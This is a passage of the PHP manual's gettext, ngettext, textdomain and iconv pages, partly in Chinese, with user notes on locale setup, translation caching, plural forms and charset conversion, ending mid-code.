putenv("LANGUAGE=");
putenv("LANG=de_CH.UTF-8");
$res = setlocale(LC_ALL, 'de_CH.UTF-8', 'de_CH', 'de');
echo bindtextdomain("homepage", "./locale");
textdomain("homepage");

$results = gettext("My English Text");
if ($results === "My English Text") {
    echo "Original English was returned. Something wrong\n";
} else {
    echo $results;
}
?>

On the CLI the translation works:

$ php7.3 translate.php
Mein deutscher Text.

But not via Apache web server:

$ curl localhost/translate.php
Original English was returned. Something wrong

Disable Perl module and restart Apache:

# a2dismod perl
# systemctl restart apache2

And suddenly the translation works:

$ curl localhost/translate.php
Mein deutscher Text.

The exact reason for this behaviour is (as of right now) unknown to me.
saul dot dobney at notanant dot com 11-Jan-2019 09:39
putenv(...) can cause hidden problems when upgrading or moving between systems which are difficult to diagnose.

On one Linux server we had the following working perfectly with setlocale

putenv("LANG=$locale");

We switched servers and found gettext wouldn't work despite having all the same locale files and settings

The recommendation to switch to

putenv("LC_ALL=$locale");

didn't fix the problem.

However,

putenv("LANGUAGE=$locale");

did. So if you have problems, check all three settings.
kingjackal at gmail dot com 02-Jul-2018 11:13
If your PO/MO files make use of msgctxt (Context), you'll be frustrated to find that gettext(msgid) won't work as you might expect (even if msgid is unique).

In this case, you must use ASCII char 4 [EOT, End Of Text] glued between the msgctxt and msgid.

Example PO content:

    msgctxt "Context"
    msgid "Test string"
    msgstr "Test translation"

    msgid "Standard string"
    msgstr "Standard translation"

The following will work:

<?php
gettext('Context' . "\004" . 'Test string');
gettext('Standard string');
?>

The following will NOT work:

<?php
gettext('Test string');
?>
nayana at corp - gems dot com 26-Jun-2014 11:16
on OSX (10.9.3) and PHP (5.4.24) you need to use full local name including codeset

i.e. for German need to use de_DE.UTF-8 even setlocale returns success when used without .UTF-8 the lookups will not work.
telefoontoestel at hotmail dot com 05-Feb-2014 03:43
This function is not able to handle null values. It can return the complete translation file if you enter null as argument.
mikko dot rantalainen at peda dot net 08-Jan-2014 06:17
Worth noting is that gettext honors environment variables while selecting the language to use: http://www.gnu.org/software/gettext/manual/html_node/Locale-Environment-Variables.html

"When a program looks up locale dependent values, it does this according to the following environment variables, in priority order:

    LANGUAGE
    LC_ALL
    LC_xxx, according to selected locale category: LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES, ...
    LANG

Variables whose value is set but is empty are ignored in this lookup. "

In short, if you have non-empty LANGUAGE, you may end up with unexpected localization strings. On the other hand, LANGUAGE can be used to define fallback language if some translation is missing.
jmeile at hotmail dot com 07-Jan-2014 10:23
I just wanted to say that gettext won't work on WAMP Server 2.4 / 64 Bit, see the thread I posted here:

Title: Gettext doesn't work on WAMP 64 Bits
http://forum.wampserver.com/read.php?2,120770,120770#msg-120770

I haven't tested with only apache 64 Bit, so, I don't know if the issue is related to apache or WAMP. Anyway, to make it work with WAMP, install the 32 Bit version of WAMP and only do this:

define('LOCALE_DIR', '<root_dir_of_your_po_files>'); //ie: C:/wamp/www/your_app/locale
$locale = '<your_locale>'; //ie: es_CO
$domain = 'your_gettext_domain'; //ie: messages
putenv('LC_ALL=' . $locale);
bindtextdomain($domain, LOCALE_DIR);
textdomain($domain);
echo _('<your_string>'; // ie: Hello world

"setlocale" nor setting the LANG, LANGUAGE, and LC_MESSAGES environment variables seems to be necessary under windows. I got it working by setting "LC_ALL" only.
ashi009 at gmail dot com 29-Nov-2012 04:34
The simplest way to by-pass gettext() cache, without restart apache nor change domain.

The fix is incredible simple, first create a dummy link to the locale folder where .mo files stored:

cd locale
ln -s . nocache

Then add one single line before bindtextdomain()

<?php
bindtextdomain('domain', './locale/nocache');
bindtextdomain('domain', './locale');
?>

Now the cache is forced to flush every time.
simen at nconel dot no 09-May-2012 10:57
gettext returns the headers from .mo files
if the message parameter is set to empty.

So if you are for example using Smarty blocks, make sure that the values given checks if the text has content or else your text will have a bunch of headers printing.

If you are putting a variable to the gettext, like so:
_($text);
you are better of making another function like this:
<?php
function __($text){
if(empty($text)) return "";
else gettext($text);
}
?>
bla at taxistop dot be 06-Jan-2011 06:47
For me it is sufficient to call setlocale() with a string like "nl_BE" as the second parameter, to make gettext() work. Just plain "nl" was not enough.

Ditto when using an environment variable like LANG: "en", "fr", "nl", "de" are not enough: I have to specify the country, too.
surfchen at gmail dot com 04-Mar-2010 12:26
As of php 5.3, you can use the following code to get the preferred locale of the http agent.

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
?>
daemonraco at yahoo dot com dot ar 24-Apr-2007 02:06
I had a problem like "adino at adino dot sk" said, so I did the unsetting of LANG ($ unset LANG), but it was not sufficient, I had to unset the environment variable LANGUAGE too.

I tried to do this using "sudo", but it didn't works, so I had to change to root using "su"

If you need to know, I use Musix (a sub-distro of Devia).

I hope this will help you, Seeya! ^__^'
vinaykuruvila at gmail dot com 03-Mar-2006 02:55
If like me, you are stuck with making a lot of code localizable, you have to go through all your php files and wrap all srings in _("string"). Here's an elisp function which can help you out.

This function enables you to highlight some text in an emacs buffer and make it a localizable string using the keyboard shortcut C-l (Ctrl and l). If the first character highlighted is " or ', then it assumes the text is in php-context and changes it to: _(HIGHLIGHTED_TEXT). Otherwise it assumes the text is in html-context and changes it to <?=_('HIGHLIGHTED_TEXT')?>

The shortcut C-k can be used for translating parts of php strings which contain html tabs. We dont want to translate the entire string including the tabs, so we highlight just the substring that needs to be translated and use C-k.

To use it, do either of:
Copy and paste the following code into your .emacs file. This would permanently associate the keyboard shortcut C-l with this function.
Save the code in a new file ending with the .el extension. Evaluate it using M-x eval-buffer. This makes the C-l keyboard shortcut only last for the current Emacs session.

Code
;author: Vinay Kuruvila March 01 2006
;updated to handle php strings containing html tabs

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within php context
(defun make-localizable-string-in-php-context(left right)
(goto-char left)
(insert "_(")
(goto-char (+ right 2))
(insert ")")
)

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within html context
(defun make-localizable-string-in-html-context(left right)
(goto-char left)
(insert "<?= _('")
(goto-char (+ right 7))
(insert "')?>")
)

;makes the highlighted text a localizable string
;uses php-context localization if the first char highlighted
;is " or '
;otherwise uses html-context localization
(defun make-localizable-string()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)

;determine php-context or html-context and dispatch
(if (or (char-equal (char-after left) ?\") (char-equal (char-after left) ?'))
(make-localizable-string-in-php-context left right)
(make-localizable-string-in-html-context left right)
)
(deactivate-mark)
)

;to handle php strings which contain html tabs
;we dont want to translate the html tabs
(defun make-localizable-string-within-php-string ()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)
(goto-char left)
(insert "\". _(\"")
(goto-char (+ right 6))
(insert "\").\"")
(deactivate-mark)
)

;assigns a keyboard shortcut
(global-set-key "\C-l" 'make-localizable-string)
(global-set-key "\C-k" 'make-localizable-string-within-php-string)
suchy(d)ivan(a)gmail.com 10-Dec-2005 04:35
Default behavior is name .mo file equally in every language version:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- lang.mo

--- sk_SK
------ LC_MESSAGES
--------- lang.mo
===

I think, better form is:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- en.mo

--- sk_SK
------ LC_MESSAGES
--------- sk.mo
===

Then the following code works very well (surprisingly on win32 too), and you don't need restart apache and do other confusing things:

<?php
$gettext_domain = 'sk'; // change by language
setlocale(LC_ALL, 'sk_SK.UTF-8'); // change by language, directory name sk_SK, not sk_SK.UTF-8
bindtextdomain($gettext_domain, "lang");
textdomain($gettext_domain);
bind_textdomain_codeset($gettext_domain, 'UTF-8');
?>

Have nice day :-)
smerf(a)druid(d)if(d)uj(d)edu(d)pl 31-Oct-2005 01:38
Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
florent at eledo dot com 30-Aug-2005 07:05
Take care when extracting the strings from the source files : if your source files are not encoded in ascii, then xgettext must be used with the --from-code option, and the generated .po file is *always* UTF-8 (even if you used a different --from-code charset).

The usage of gettext will not work later on strings which include non ascii caracters. For make it working, you have to translate the .po file to your proper charset with msgconv.

Example :
my source files are encoded in iso-8859-1
$ xgettext --from-code=iso-8859-1 -n *.php -o myapp.po
==> myapp.po is in UTF-8 (and generated .mo files will not work with gettext).
I have to convert it to iso-8859-1 before translating :
$ msgconv --to-code=iso-8859-1 myapp.po -o myapp.po
...and now translate the file.
adino at adino dot sk 20-May-2003 07:23
If you 're experiencing problems like gettext() is not working and you're getting translated text only occassionaly use: unset LANG before starting apache.
Next thing is that you have to restart apache after you 've changed .mo files because they're treated something like shared libraries.
I've only tested this with Linux (Sourcemage Linux distro, Mandrake) but it might be true for others as well.
jespersaNOSPAM at diku dot NO_SPAM dot dk 05-May-2002 05:27
There's a good tutorial to the GetText tools used with PHP at http://zez.org/article/articleview/42
The only modification I needed to do was to use the correct ISO-language/country-codes (don't know the ISO number) and call setlocale.
helloworld.php:

<?php
putenv("LC_ALL=da_DK"); // For danish/Denmark
setlocale(LC_ALL, "");

// ./locale/da/LC_MESSAGES holds the helloworld.mo file
bindtextdomain("helloworld", "./locale");
textdomain("helloworld");

print(gettext("Hello world!"));
?>

I had a lot of trouble getting this to work on Red Hat (Yellow Dog) Linux though.
iguy at ionsphere dot org 04-Mar-2001 08:18
Depending on the implementation of gettext used you might have to call the setlocale(LC_ALL, "") command.
So your example code would be

<?php

// Set language to German
putenv ("LANG=de");

// set the locale into the instance of gettext
setlocale(LC_ALL, "");

// Specify location of translation tables
bindtextdomain ("myPHPApp", "./locale");

// Choose domain
textdomain ("myPHPApp");

// Print a test message
print (gettext ("Welcome to My PHP Application"));
?>

NOTE:  If setlocale returns NULL the LANG specified is invalid and "not supported".


Plural version of gettext

  • ? gettext
  • textdomain ?
  • PHP Manual
  • Gettext 函数
  • Plural version of gettext

ngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ngettext — Plural version of gettext

说明

ngettext(string $singular, string $plural, int $count): string

The plural version of gettext(). Some languages have more than one form for plural messages dependent on the count.

参数

singular

The singular message ID.

plural

The plural message ID.

count

The number (e.g. item count) to determine the translation for the respective grammatical number.

返回值

Returns correct plural form of message identified by singular and plural for count count.

示例

Example #1 ngettext() example

<?php

setlocale(LC_ALL, 'cs_CZ');
printf(ngettext("%d window", "%d windows", 1), 1); // 1 okno
printf(ngettext("%d window", "%d windows", 2), 2); // 2 okna
printf(ngettext("%d window", "%d windows", 5), 5); // 5 oken

?>

User Contributed Notes

Mike Robinson 17-Jun-2013 08:40
Even though "hek at theeks dot net"'s answer is valid, I would not recommend using the abs() hack recommended. Even though it is by far the most common, not all languages treat (n != 1) as plural. Other languages are much more complex, for example, here is how you determine plurals in Macedonian.

n==1 || n%10==1 ? 0 : 1

In Arabic there are actually 5 different types of plurals:

n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 ? 4 : 5

If you are using only specific languages that use the (n != 1) format AND -1 is singular, by all means, use abs(), but be careful and don't forget that you have done this when adding a new language to your project 3 years down the road.
hek at theeks dot net 19-Aug-2009 11:07
Beware of one difference between the GNU gettext API and the PHP binding of it, which is that the GNU gettext functions that accept a $count parameter all expect (indeed, being compiled C, require) that $count be unsigned, while the PHP binding does not.

Thus, the PHP gettext functions will happily accept negative numbers. The one potentially irritating consequence of this is that -1 is treated as plural, which sits well with some people and not so well with others.  (As a picky native speaker of English, my personal opinion is that both "the temperature is minus one degree Fahrenheit" and "four apples minus five apples leaves minus one apple" but others may feel that "four apples minus five apples leaves minus one apples" sounds better.)

The upshot: You may want to abs($count) before passing numbers to gettext.

Bonus points: If your application includes user preferences, you might offer a "treat -1 as singular" option to your users, then choose $count or abs($count) to pass to gettext based on each user's preference.
peter at ints dot net 14-Dec-2008 11:26
Example for russian lang:
file.po:
    ...
    "Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"
    ...
    msgid "File"
    msgid_plural "Files"
    msgstr[0] "Файл"
    msgstr[1] "Файла"
    msgstr[2] "Файлов"
    ...

file.php
    ...
    echo ngettext("File", "Files", $number);
    ...
kontakt at somplatzki dot de 25-May-2007 02:47
It's useful to know how the .po-file has to look like when using ngettext:

msgid "item"
msgid_plural "items"
msgstr[0] "Produkt"
msgstr[1] "Produkte"

In php:

echo ngettext('item', 'items', $number);
tokul at users dot sourceforge dot net 10-Dec-2006 03:56
According to GNU gettext manual third argument is unsigned long integer. It must be positive number. If n is negative, it might be evaluated incorrectly in some languages.
mike-php at emerge2 dot com 03-Nov-2004 12:53
Section 10.2.5 in the GNU gettext manual explains the ngettext function:

http://www.gnu.org/software/gettext/manual/

(Sorry, but the Add Note function prevents me from including a long URL which points right to that section of the manual.)


Sets the default domain

  • ? ngettext
  • iconv ?
  • PHP Manual
  • Gettext 函数
  • Sets the default domain

textdomain

(PHP 4, PHP 5, PHP 7, PHP 8)

textdomain — Sets the default domain

说明

textdomain(?string $domain): string

This function sets the domain to search within when calls are made to gettext(), usually the named after an application.

参数

domain

The new message domain, or null to get the current setting without changing it

返回值

If successful, this function returns the current message domain, after possibly changing it.

注释

Note:

The textdomain() information is maintained per process, not per thread.

User Contributed Notes

ninja (without a) at informance dot dot dot info 14-Oct-2010 09:00
When you set a text domain, it (obviously) erases the previous one.

This can be a problem when you use nested includes in which there can be textdomain() calls with different text domains. After returning from the include, your textdomain is changed, and the rest of the parent script fails in translating the remaining sentences.

I wrote these two small functions to avoid that. You should put the whole code into a file which you require_once in every script that needs gettext functionalities. Then, use only set_textdomain() and restore_textdomain() at the beginning and the end of every script/function that sets a text domain.

A call to set_textdomain() MUST correspond to a call to restore_textdomain(), and there is no limit in how many nested calls are done.

One optimization is done here: when the new text domain is the same as the current one, no change is made, and restore_textdomain() will be aware of this so you can still call it safely.

<?php
$_td_stack = array(); // text domains stack

/**
 * Sets a new text domain after recording the current one
 * so it can be restored later with restore_textdomain().
 *
 * It's possible to nest calls to these two functions.
 * @param string the new text domain to set
 */
function set_textdomain($td)
{
    global $_td_stack;

    $old_td = textdomain(NULL);

    if ($old_td)
    {
        if (!strcmp($old_td, $td))
        {
            array_push($_td_stack, false);
        }
        else
        {
            array_push($_td_stack, $old_td);
        }
    }

    textdomain($td);
}

/**
 * Restore the text domain active before the last call to
 * set_textdomain().
 */
function restore_textdomain()
{
    global $_td_stack;

    $old_td = array_pop($_td_stack);

    if ($old_td)
    {
        textdomain($old_td);
    }
}
?>
ipso at snappymail dot ca 27-Apr-2007 11:26
I was having very strange issues with gettext only setting the locale once per Apache process (non-threaded), until I found this bug report:

http://bugs.php.net/bug.php?id=21965

It almost seemed like gettext was caching the data once per process, but in fact calling textdomain() fixed the issue for me.


iconv

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • iconv 函数
    • iconv_get_encoding — 获取 iconv 扩展的内部配置变量
    • iconv_mime_decode_headers — 一次性解码多个 MIME 头字段
    • iconv_mime_decode — 解码一个MIME头字段
    • iconv_mime_encode — Composes a MIME header field
    • iconv_set_encoding — 为字符编码转换设定当前设置
    • iconv_strlen — 返回字符串的字符数统计
    • iconv_strpos — Finds position of first occurrence of a needle within a haystack
    • iconv_strrpos — Finds the last occurrence of a needle within a haystack
    • iconv_substr — 截取字符串的部分
    • iconv — 将字符串从一个字符编码转换到另一个字符编码
    • ob_iconv_handler — 以输出缓冲处理程序转换字符编码

User Contributed Notes

There are no user contributed notes for this page.


简介

此模块包含了 iconv 字符集转换功能的接口。 使用此模块，你可以将一个本地字符集表达的字符串转换成另一种字符集，比如可以是 Unicode 字符集。 支持的字符集基于你系统上 iconv 的实现。 注意，在某些系统上 iconv 函数可能无法以你预期的那样工作。 在这种情况下，安装 » GNU libiconv 库将会是个不错的主意。 它最终将会产生更一致的结果。

这个扩展具有多种实用功能，来帮助您编写多语言脚本。 让我们看看以下章节，来探索新的功能。

User Contributed Notes

There are no user contributed notes for this page.


需求

如果你使用了最新的 POSIX 兼容系统，则不需要安装其他程序，因为系统提供的 C 语言标准函数库肯定支持 iconv。否则，你必须在系统上安装 » libiconv 函数库。

User Contributed Notes

There are no user contributed notes for this page.


安装

默认已激活此扩展，但是它能够在编译时通过 --without-iconv 选项被禁用。

选项指令 --with-iconv[=DIR] 用于 PHP 编译时指定 iconv 在系统里的路径，否则会扫描默认路径。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Iconv 配置选项
名字 | 默认 | 可修改范围 | 更新日志
iconv.input_encoding | "" | PHP_INI_ALL | 在 PHP 5.6.0 中废弃。
iconv.output_encoding | "" | PHP_INI_ALL | 在 PHP 5.6.0 中废弃。
iconv.internal_encoding | "" | PHP_INI_ALL | 在 PHP 5.6.0 中废弃。

这是配置指令的简短说明。

Warning

有些系统（比如 IBM AIX） 使用 "ISO8859-1" 来代替 "ISO-8859-1"，所以在配置选项和函数参数中必须使用这个值。

iconv.input_encoding string
Warning

本特性已自 PHP 5.6.0 起废弃。强烈建议不要使用本特性。

PHP 5.6 及以上的用户应该留空并以 input_encoding 取代。

iconv.output_encoding string
Warning

本特性已自 PHP 5.6.0 起废弃。强烈建议不要使用本特性。

PHP 5.6 及以上的用户应该留空并以 output_encoding 取代。

iconv.internal_encoding string
Warning

本特性已自 PHP 5.6.0 起废弃。强烈建议不要使用本特性。

PHP 5.6 及以上的用户应该留空并以 default_charset 取代。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

它能够在运行时识别此扩展使用了哪种实现（implementation）。

iconv 实现常量
名称 | 类型 | 描述
ICONV_IMPL | string | 实现（implementation）的名称
ICONV_VERSION | string | 实现（implementation）的版本

Note:

通过这些常量编写依赖于实现的脚本是极其不建议的。

以下常量同样有效：

其他 iconv 常量
名称 | 类型 | 描述
ICONV_MIME_DECODE_STRICT | int | 使用于 iconv_mime_decode() 的位掩码
ICONV_MIME_DECODE_CONTINUE_ON_ERROR | int | 使用于 iconv_mime_decode() 的位掩码

User Contributed Notes

There are no user contributed notes for this page.


iconv 函数

参见

参见 GNU Recode functions。

Table of Contents

  • iconv_get_encoding — 获取 iconv 扩展的内部配置变量
  • iconv_mime_decode_headers — 一次性解码多个 MIME 头字段
  • iconv_mime_decode — 解码一个MIME头字段
  • iconv_mime_encode — Composes a MIME header field
  • iconv_set_encoding — 为字符编码转换设定当前设置
  • iconv_strlen — 返回字符串的字符数统计
  • iconv_strpos — Finds position of first occurrence of a needle within a haystack
  • iconv_strrpos — Finds the last occurrence of a needle within a haystack
  • iconv_substr — 截取字符串的部分
  • iconv — 将字符串从一个字符编码转换到另一个字符编码
  • ob_iconv_handler — 以输出缓冲处理程序转换字符编码

User Contributed Notes

Martin Petrov 19-Oct-2009 02:05
This is edited functions utf8_to_cp1251 and cp1251_to_utf8.
Changes: Check current string encoding.

<?php
function cp1251_to_utf8($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "WINDOWS-1251")
    {
    $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
    for($i=0; $i<strlen($s); $i++)
      {
      $c=ord($s[$i]);
      if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
      elseif ($c>239) $t.=$c209.chr($c-112);
      elseif ($c==184) $t.=$c209.$c209;
      elseif ($c==168)    $t.=$c208.$c129;
      else $t.=$s[$i];
      }
    return $t;
    }
  else
    {
    return $s;
    }
   }

function utf8_to_cp1251($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "UTF-8")
    {
    for ($c=0;$c<strlen($s);$c++)
      {
      $i=ord($s[$c]);
      if ($i<=127) $out.=$s[$c];
      if ($byte2)
        {
        $new_c2=($c1&3)*64+($i&63);
        $new_c1=($c1>>2)&5;
        $new_i=$new_c1*256+$new_c2;
        if ($new_i==1025)
          {
          $out_i=168;
          } else {
          if ($new_i==1105)
            {
            $out_i=184;
            } else {
            $out_i=$new_i-848;
            }
          }
        $out.=chr($out_i);
        $byte2=false;
        }
        if (($i>>5)==6)
          {
          $c1=$i;
          $byte2=true;
          }
      }
    return $out;
    }
  else
    {
    return $s;
    }
  }
?>
nod at mobi dot kz 17-Jul-2006 07:17
If you need convert string from Windows-1251 to 866. Some characters of 1251 haven't representation on DOS 866. For example, long dash -- chr(150) will be converted to 0, after that iconv finish his work and other charactes  will be skiped. Problem characters range in win1251 (128-159,163,165-167,169,171-174,177-182,187-190).

Use this:

//$text  -  input text in windows-1251
//$cout  -  output text in 866 (cp866, dos ru ascii)

for($i=0;$i<strlen($text);$i++) {
    $ord=ord($text[$i]);
    if($ord>=192&&$ord<=239) $cout.=chr($ord-64);
    elseif($ord>=240&&$ord<=255) $cout.=chr($ord-16);
    elseif($ord==168) $cout.=chr(240);
    elseif($ord==184) $cout.=chr(241);
    elseif($ord==185) $cout.=chr(252);
    elseif($ord==150||$ord==151) $cout.=chr(45);
    elseif($ord==147||$ord==148||$ord==171||$ord==187) $cout.=chr(34);
    elseif($ord>=128&&$ord<=190) $i=$i; //нет представления данному символу
    else $cout.=chr($ord);
}


获取 iconv 扩展的内部配置变量

  • ? iconv 函数
  • iconv_mime_decode_headers ?
  • PHP Manual
  • iconv 函数
  • 获取 iconv 扩展的内部配置变量

iconv_get_encoding

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv_get_encoding — 获取 iconv 扩展的内部配置变量

说明

iconv_get_encoding(string $type = "all"): array|string|false

获取 iconv 扩展的内部配置变量。

参数

type

选项 type 的值可以是：

  • all
  • input_encoding
  • output_encoding
  • internal_encoding

返回值

成功时返回当前内部配置变量的值， 或者在失败时返回 false。

如果省略了 type，或者设置为 "all"，iconv_get_encoding() 返回包含所有这些变量的数组。

示例

Example #1 iconv_get_encoding() 示例

<pre>
<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
var_dump(iconv_get_encoding('all'));
?>
</pre>

以上示例会输出：

Array
(
    [input_encoding] => ISO-8859-1
    [output_encoding] => ISO-8859-1
    [internal_encoding] => UTF-8
)

参见

  • iconv_set_encoding() - 为字符编码转换设定当前设置
  • ob_iconv_handler() - 以输出缓冲处理程序转换字符编码

User Contributed Notes

There are no user contributed notes for this page.


一次性解码多个 MIME 头字段

  • ? iconv_get_encoding
  • iconv_mime_decode ?
  • PHP Manual
  • iconv 函数
  • 一次性解码多个 MIME 头字段

iconv_mime_decode_headers

(PHP 5, PHP 7, PHP 8)

iconv_mime_decode_headers — 一次性解码多个 MIME 头字段

说明

iconv_mime_decode_headers(string $headers, int $mode = 0, ?string $encoding = null): array|false

一次性解码多个 MIME 头字段。

参数

headers

编码过的头，是一个字符串。

mode

mode 决定了 iconv_mime_decode_headers() 遇到畸形 MIME 头字段时的行为。 你可以指定为以下位掩码的任意组合。

iconv_mime_decode_headers() 接受的位掩码
值 | 常量 | 描述
1 | ICONV_MIME_DECODE_STRICT | 如果设置了，给定的头将会以 » RFC2047 定义的标准完全一致。 这个选项默认禁用，因为大量有问题的邮件用户代理不遵循标准并产生不正确的 MIME 头。
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | 如果设置了，iconv_mime_decode_headers() 尝试忽略任何语法错误并继续处理指定的头。

encoding

可选参数 encoding 指定了字符集结果的表现。 如果省略或为 null，将使用 iconv.internal_encoding。

返回值

成功时返回 headers 指定的 MIME 头的整套关联数组，解码时出现错误则返回 false。

返回元素的每个键代表独立字段名，相应的元素代表一个字段值。如果有多个同一名称的字段，iconv_mime_decode_headers() 自动将他们按出现顺序结合成数字索引的数组。请注意，标头名称不区分大小写。

更新日志

版本 | 说明
8.0.0 | encoding 现在可为 null。

示例

Example #1 iconv_mime_decode_headers() 示例

<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
with SMTP id example for <example@example.com>;
Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
(envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers = iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");
print_r($headers);
?>

以上示例会输出：

Array
(
    [Subject] => Prüfung Prüfung
    [To] => example@example.com
    [Date] => Thu, 1 Jan 1970 00:00:00 +0000
    [Message-Id] => <example@example.com>
    [Received] => Array
        (
            [0] => from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <example@example.com>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from example-return-0000-example=example.com@example.com)
            [1] => (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000
        )

)

参见

  • iconv_mime_decode() - 解码一个MIME头字段
  • mb_decode_mimeheader() - 解码 MIME 头字段中的字符串
  • imap_mime_header_decode() - Decode MIME header elements
  • imap_base64() - Decode BASE64 encoded text
  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

TheConstructor 12-Jul-2010 12:07
If you need lower-case header-names (as I read the documentation case is not guranteed) try something like

<?php

$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");

$headers = array_combine(array_map("strtolower", array_keys($headers)), array_values($headers));

print_r($headers);
?>


解码一个MIME头字段

  • ? iconv_mime_decode_headers
  • iconv_mime_encode ?
  • PHP Manual
  • iconv 函数
  • 解码一个MIME头字段

iconv_mime_decode

(PHP 5, PHP 7, PHP 8)

iconv_mime_decode — 解码一个MIME头字段

说明

iconv_mime_decode(string $string, int $mode = 0, ?string $encoding = null): string|false

解码一个MIME头字段.

参数

string

编码头,是一个字符串.

mode

模式决定了当iconv_mime_decode()遇到一个不规则的 MIME头字段时,对这个事件作出的行为.你可以指定以下位掩码的任意组合.

可以在iconv_mime_decode()中使用的位掩码
值 | 常量 | 描述
1 | ICONV_MIME_DECODE_STRICT | 如果使用该位掩码,传入的头字段将会完全一致的按照» RFC2047的标准定义被解码. 这个选项默认是禁用的,因为有很多零散的邮件用户代理商不遵守标准规范并且不生成正确的MIME头.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | 如果使用该位掩码,iconv_mime_decode_headers() 将会试图忽略任何错误语法,并继续处理传入的头字段.

encoding

可选的 encoding 参数,用指定的字符集表示结果。如果省略或为 null，iconv.internal_encoding 将会被默认使用。

返回值

如果解码成功,返回一个被解码的MIME字段, 如果在解码过程中出现一个错误,将返回false .

更新日志

版本 | 说明
8.0.0 | encoding 现在可为 null。

示例

Example #1 iconv_mime_decode()实例

<?php
//返回结果: "Subject: Prüfung Prüfung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
0, "ISO-8859-1");
?>

参见

  • iconv_mime_decode_headers() - 一次性解码多个 MIME 头字段
  • mb_decode_mimeheader() - 解码 MIME 头字段中的字符串
  • imap_mime_header_decode() - Decode MIME header elements
  • imap_base64() - Decode BASE64 encoded text
  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

Dirk Becker 26-Jul-2013 09:46
While creating a new webmailer, I had to coop with a lot of mails and only half of them were correct encoded!
Often the text is tagged as ISO but in real its UTF :/

After trying a lot of solutions and combination a found a way which seems to work for all our mails. Maybe its usefull to someone else too.

<?php

    function mime_encode($data)
    {
        $resp = imap_utf8(trim($data));

        if(preg_match("/=\?/", $resp))
            $resp = iconv_mime_decode($data, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, "ISO-8859-15");

        if(json_encode($resp) == 'null')
            $resp = utf8_encode($resp);

        return $resp;
    }

?>
koronci at aol dot com 19-Dec-2012 11:24
A simple and working solution for latin encoding supports Slovak, Czech, Russian ect.
<?php iconv("utf-8", "windows-1250", $SomeWeirdText); ?>

specially for those who strugle with imap_mime_header_decode
dido dot sevilla at gmail dot com 09-Mar-2005 08:00
In PHP versions that have imap_mime_decode built in, it's possible to emulate the operation of this function:

<?php
function iconv_mime_decode($str, $mode=0, $charset="UTF-8")
{
    $data = imap_mime_header_decode($str);
    if (count($data) > 0) {
      // because iconv doesn't like the 'default' for charset
      $charset = ($data[0]->charset == 'default') ? 'ASCII' : $data[0]->charset;
